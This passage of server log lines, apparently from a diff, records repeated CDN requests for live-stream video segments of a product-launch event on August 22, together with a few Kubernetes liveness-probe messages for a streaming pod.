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/live/product-launch-2025/segment7.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment13.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:05:35 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment48.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=200 OK +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment6.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=200 OK +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment35.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[9012]: GET /live/product-launch-2025/segment43.ts status=206 Partial Content +Aug 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/live/product-launch-2025/segment29.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=200 OK +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment16.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment47.ts status=206 Partial Content +Aug 22 10:05:45 cdn-access[9012]: GET /live/product-launch-2025/segment46.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=200 OK +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=200 OK +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment7.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment41.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment12.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment37.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[9012]: GET /live/product-launch-2025/segment6.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment40.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment44.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment6.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=200 OK +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment31.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=200 OK +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment27.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=200 OK +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=200 OK +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment47.ts status=206 Partial Content +Aug 22 10:05:55 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment46.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=200 OK +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment12.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment44.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment6.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment46.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=200 OK +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment41.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=200 OK +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment12.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment27.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[9012]: GET /live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod stream-server-pod +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment46.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment7.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment44.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment16.ts status=200 OK +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment27.ts status=206 Partial Content +Aug 22 10:06:05 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts 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/live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment12.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=200 OK +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment37.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment35.ts status=200 OK +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment35.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=200 OK +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment40.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[9012]: GET /live/product-launch-2025/segment12.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment43.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment12.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=200 OK +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment35.ts status=200 OK +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=200 OK +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment27.ts status=200 OK +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment43.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment41.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:06:15 cdn-access[9012]: GET /live/product-launch-2025/segment7.ts status=206 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/live/product-launch-2025/segment41.ts status=206 Partial Content +Aug 22 10:06:20 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:06:20 cdn-access[9012]: GET /live/product-launch-2025/segment40.ts status=206 Partial Content +Aug 22 10:06:20 cdn-access[9012]: GET /live/product-launch-2025/segment41.ts status=206 Partial Content +Aug 22 10:06:20 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:06:20 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=200 OK +Aug 22 10:06:20 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:06:20 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:06:20 cdn-access[9012]: GET /live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:06:20 cdn-access[9012]: GET /live/product-launch-2025/segment44.ts status=206 Partial Content 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/live/product-launch-2025/segment7.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment48.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment29.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment44.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment31.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:06:25 cdn-access[9012]: GET /live/product-launch-2025/segment47.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment7.ts status=200 OK +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment41.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment19.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=200 OK +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment48.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment32.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[9012]: GET /live/product-launch-2025/segment12.ts status=206 Partial Content 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/live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:06:35 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=206 Partial Content +Aug 22 10:06:35 cdn-access[9012]: GET /live/product-launch-2025/segment44.ts status=206 Partial Content +Aug 22 10:06:35 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:06:35 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=206 Partial Content +Aug 22 10:06:35 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=200 OK +Aug 22 10:06:35 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:06:35 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:06:35 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:06:35 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=206 Partial Content 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+Aug 22 10:06:45 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=200 OK +Aug 22 10:06:45 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:06:45 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=206 Partial Content +Aug 22 10:06:45 cdn-access[9012]: GET /live/product-launch-2025/segment43.ts status=206 Partial Content +Aug 22 10:06:45 cdn-access[9012]: GET /live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:06:45 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=200 OK +Aug 22 10:06:45 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:06:45 cdn-access[9012]: GET /live/product-launch-2025/segment27.ts status=206 Partial Content +Aug 22 10:06:45 cdn-access[9012]: GET /live/product-launch-2025/segment43.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment19.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment13.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment19.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment31.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment31.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment19.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment48.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[9012]: GET /live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment35.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment13.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment48.ts status=200 OK +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment27.ts status=200 OK +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment46.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment12.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:06:55 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment6.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment16.ts status=200 OK +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment35.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment12.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment46.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=200 OK +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment32.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment47.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment19.ts status=200 OK +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment7.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod stream-server-pod +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment37.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment48.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment29.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment37.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment32.ts status=200 OK +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment32.ts status=200 OK +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment46.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment35.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment47.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment44.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment35.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:07:05 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=200 OK +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=200 OK +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment37.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment12.ts status=200 OK +Aug 22 10:07:10 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=200 OK +Aug 22 10:07:10 